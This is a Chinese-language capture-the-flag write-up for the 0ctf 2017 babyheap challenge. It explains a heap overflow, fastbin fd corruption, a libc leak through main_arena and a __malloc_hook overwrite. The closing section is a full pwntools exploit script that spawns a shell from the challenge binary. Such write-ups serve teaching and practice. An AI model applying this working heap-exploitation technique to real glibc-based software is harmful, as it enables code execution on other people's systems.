0ctf2017-babyheap调试记录fastbin-attack

查看文件类型和保护开启情况,发现全保护开启,一般为堆溢出,无法改写got表,思路一般往malloc_hook转变。

 

运行程序观察执行大概流程。经典的菜单题目。

 

Allocate操作,输入分配字节大小以及标记。

 

Fill操作,输入分配的块号以及分配大小和填充内容。

 

Free操作,输入删除的块号进行删除。

 

Dump操作,输入需要处理的块号,打印出块的内容。

 

放入ida中,观察alloc功能函数发现,使用calloc函数进行内存分配,其特点为每次分配都会清空缓冲区。申请的块最大不超过4096字节。有结构体保存分配标记、分配大小以及分配地址。

 

Fill函数功能为进行内容填充,但是此处输入的长度由自己设置且和申请时长度设置无关,导致堆溢出。

 

Free函数首先根据块标记判断是否被释放,然后将释放标记置0,长度置0,指针置NULL,不存在UAF。

 

Dump函数主要打印堆块内容,无漏洞利用。

 

Leak libc_base

首先思路是要泄漏libc的基地址,本题漏洞在于存在一个堆溢出漏洞,可以越界写。又关注到当内存中只有一个small chunk或large chunk时,其内存指向libc上某处地址,然后我们就可以讲其打印出来,在经过计算就可以获得libc的基地址。

我们知道,fast chunk释放后会加入fast bin中,且fast bin使用后入先出规则,即当第一块fast chunk释放后,在.data数据段上的fast bin会在相应的index位中放入它的地址(不是返回给用户的地址,是实际地址),然后如果释放第二块fast chunk(假设大小一样),此时fast chunk会被放入fast bin相应的index位中,并且后释放的fast chunk在其fd位置会放入前一个释放的fast bin块的地址(实际地址)(fast bin为单链表,由fd指针连接)。我们可以利用fast chunk申请和释放的特点通过堆溢出修改后释放的fast chunk的fd指针所保存的地址,从而实现连续两次释放fast chunk,然后堆溢出修改保存的fd处的地址,再通过连续两次malloc(第一次将后释放的fast chunk申请出来,第二次将后释放的fast chunk的fd指针处保存的地址处的fast chunk申请出来)就可以拿到某个堆块的控制权(本题通过修改为small chunk的地址获得其控制权)。

 

但是要注意,fast chunk在malloc时有安全检查,即为判断chunk size与fastbin_index是否匹配。其中index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8。我们只要在申请前通过堆溢出将原本的small chunk的size字段修改为fast chunk的大小即可。由于我们之前申请了4个0x10大小的fast chunk,一个0x80大小的small chunk,因此small chunk的大小需要修改为0x21。

 

由于上图从0块开始覆盖,注意第一个0x21覆盖的是1块的大小,第二个0x21覆盖的是第2块的大小。由于之前释放的是1和2块,因此我们还需要将第2块的fd指针的最后一个字节修改(fd的低字节紧接在size字段后面,p8即表示一个字节数据)。

 

上图修改了第3块即small chunk前一块开始覆盖到small chunk的size字段,以绕过malloc检查。

 

这时候执行2此alloc即可在第一次获得原来第2块的地址,而第二次即可拿到small chunk地址的控制权。

 

上图首先需要将之前修改的small chunk的值修改回来,其次需要注意,如果当内存中只有一个small chunk时,释放改small chunk后fd并不会指向libc的某处。因此此处先alloc一个small chunk(这个chunk没有实际用处,只是为了释放原先small chunk时能够使原先small chunk的fd指针指向libc地址)。

 

这时候我们就可以dump出fd所指向的值(由于下标为4的chunk已经被释放,而下标为2的chunk通过修改地址方法分配到了原先下标为4即small chunk的地址),其中0x3c4b78为main_arena+x的地址,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)。

 

这里提一下如何找到main_arena地址,我们只要在libc的导出表中搜索malloc_trim函数,然后跳到函数伪c表示即可看到上图的地址,这就是main_arena的地址。

但是small chunk所泄漏出来的是main_arena+x地址,我们有个巧妙的办法可以获得真实的偏移,我们双击上图的main_arena地址处,会发下如下图所示,然后我们只要往下找,发现的第一个dword值即为真实偏移(从unk_3C4B28开始)

 

 

可见,真实偏移值为0x3c4b78。(做了几个类似题目,这样找都没错,算是取巧吧)。其实从实验来看,small chunk所泄漏的libc地址实际上为top chunk地址,而这个地址距离main_arena的偏移是不变的(我猜的,因为暂时没遇到变的情况),其值为0x58,而malloc_hook到main_arena的距离为0x10。有了上述数据就可以计算出libc的实际地址。

 

 

执行execve("/bin/sh")

我们成功泄漏libc基地址后,我们下一步要做的是想办法执行execve("/bin/sh")。这里需要了解malloc_hook的作用,它在main_arena前0x10字节处。当调用malloc时如果该指针不为空就执行它指向的函数,因此我们可以写malloc_hook来get shell。

   

我们可以看到main_arena-0x10处即为malloc_hook指针所在地址,但是乍一看该指针前面空间貌似没有可以malloc的内存空间,这里仔细看的话可以看到一个0x60,我们重新查询,通过构造一个偏移来看看

 

我们以上述地址即可构造一个满足malloc检查的fast chunk。

 

我们先重新申请一个0x60大小的fast chunk,然后将它释放掉,接着通过下标2的堆块(实际控制初始的small chunk)修改fd的值为之前0x60的地址(libc_base+0x3c4b20-0x40+0xd)。我们现在申请一个0x60大小的fast chunk,会将之前释放的fast chunk申请回来(即通过堆块2修改过fd的fast chunk),此时fast chunk的fd值处的地址会放入fast bin中,这时候在申请一个0x60大小的堆块即可获得malloc_hook写的权限,此时我们构造payload将其覆盖为get shell函数的地址即可,注意偏移。

 

关于这个payload的构造,首先看下图,我们申请的地址为0x7fef6f717aed,这个地址是包含chunk head的地址,实际分配给我们的地址从+0x10处开始。我们又知道malloc_hook地址从0x7f0ed67f9b10处开始,由下图我们可以计算出,我们需要填充16+3个字节,即上述payload所写的p8(0)*3即为下图高亮的3个字节,p64(0)*2即为上一行的16个字节,填充完即紧接着覆盖malloc_hook为one gadget所找到的地址。

 

 

我们这里使用第二个gadget,因为别的不管用,哈哈哈哈哈。

完整exp如下:

 1 #!/usr/bin/env python
 2  
 3 from pwn import *
 4 import sys
 5  
 6 context.log_level = "debug"
 7  
 8 elf = "./0ctfbabyheap"
 9 ENV = {"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"}
10  
11 p = process(elf)
12  
13 def alloc(size):
14     p.recvuntil("Command: ")
15     p.sendline("1")
16     p.recvuntil("Size: ")
17     p.sendline(str(size))
18  
19 def fill(idx, content):
20     p.recvuntil("Command: ")
21     p.sendline("2")
22     p.recvuntil("Index: ")
23     p.sendline(str(idx))
24     p.recvuntil("Size: ")
25     p.sendline(str(len(content)))
26     p.recvuntil("Content: ")
27     p.send(content)
28  
29 def free(idx):
30     p.recvuntil("Command: ")
31     p.sendline("3")
32     p.recvuntil("Index: ")
33     p.sendline(str(idx))
34  
35 def dump(idx):
36     p.recvuntil("Command: ")
37     p.sendline("4")
38     p.recvuntil("Index: ")
39     p.sendline(str(idx))
40     p.recvline()
41     return p.recvline()
42  
43 #gdb.attach(p) 
44 alloc(0x10)
45 alloc(0x10)
46 alloc(0x10)
47 alloc(0x10)
48 alloc(0x80)
49 
50 free(1)
51 free(2)
52 
53 payload = p64(0)*3
54 payload += p64(0x21)
55 payload += p64(0)*3
56 payload += p64(0x21)
57 payload += p8(0x80)
58 fill(0, payload)
59  
60 payload = p64(0)*3
61 payload += p64(0x21)
62 fill(3, payload)
63  
64 alloc(0x10)
65 alloc(0x10)
66  
67 payload = p64(0)*3
68 payload += p64(0x91)
69 fill(3, payload)
70 alloc(0x80)
71 free(4)
72  
73 libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
74 log.info("libc_base: "+hex(libc_base))
75  
76 alloc(0x60)
77 free(4)
78  
79 payload = p64(libc_base+0x3c4aed)
80 fill(2, payload)
81 
82 gdb.attach(p)
83 alloc(0x60)
84 alloc(0x60)
85  
86 payload = p8(0)*3
87 payload += p64(0)*2
88 payload += p64(libc_base+0x4526a)
89 fill(6, payload)
90  
91 alloc(255)
92  
93 p.interactive()

参考:https://bbs.pediy.com/thread-223461.htm

猜你喜欢

转载自www.cnblogs.com/xingzherufeng/p/9844873.html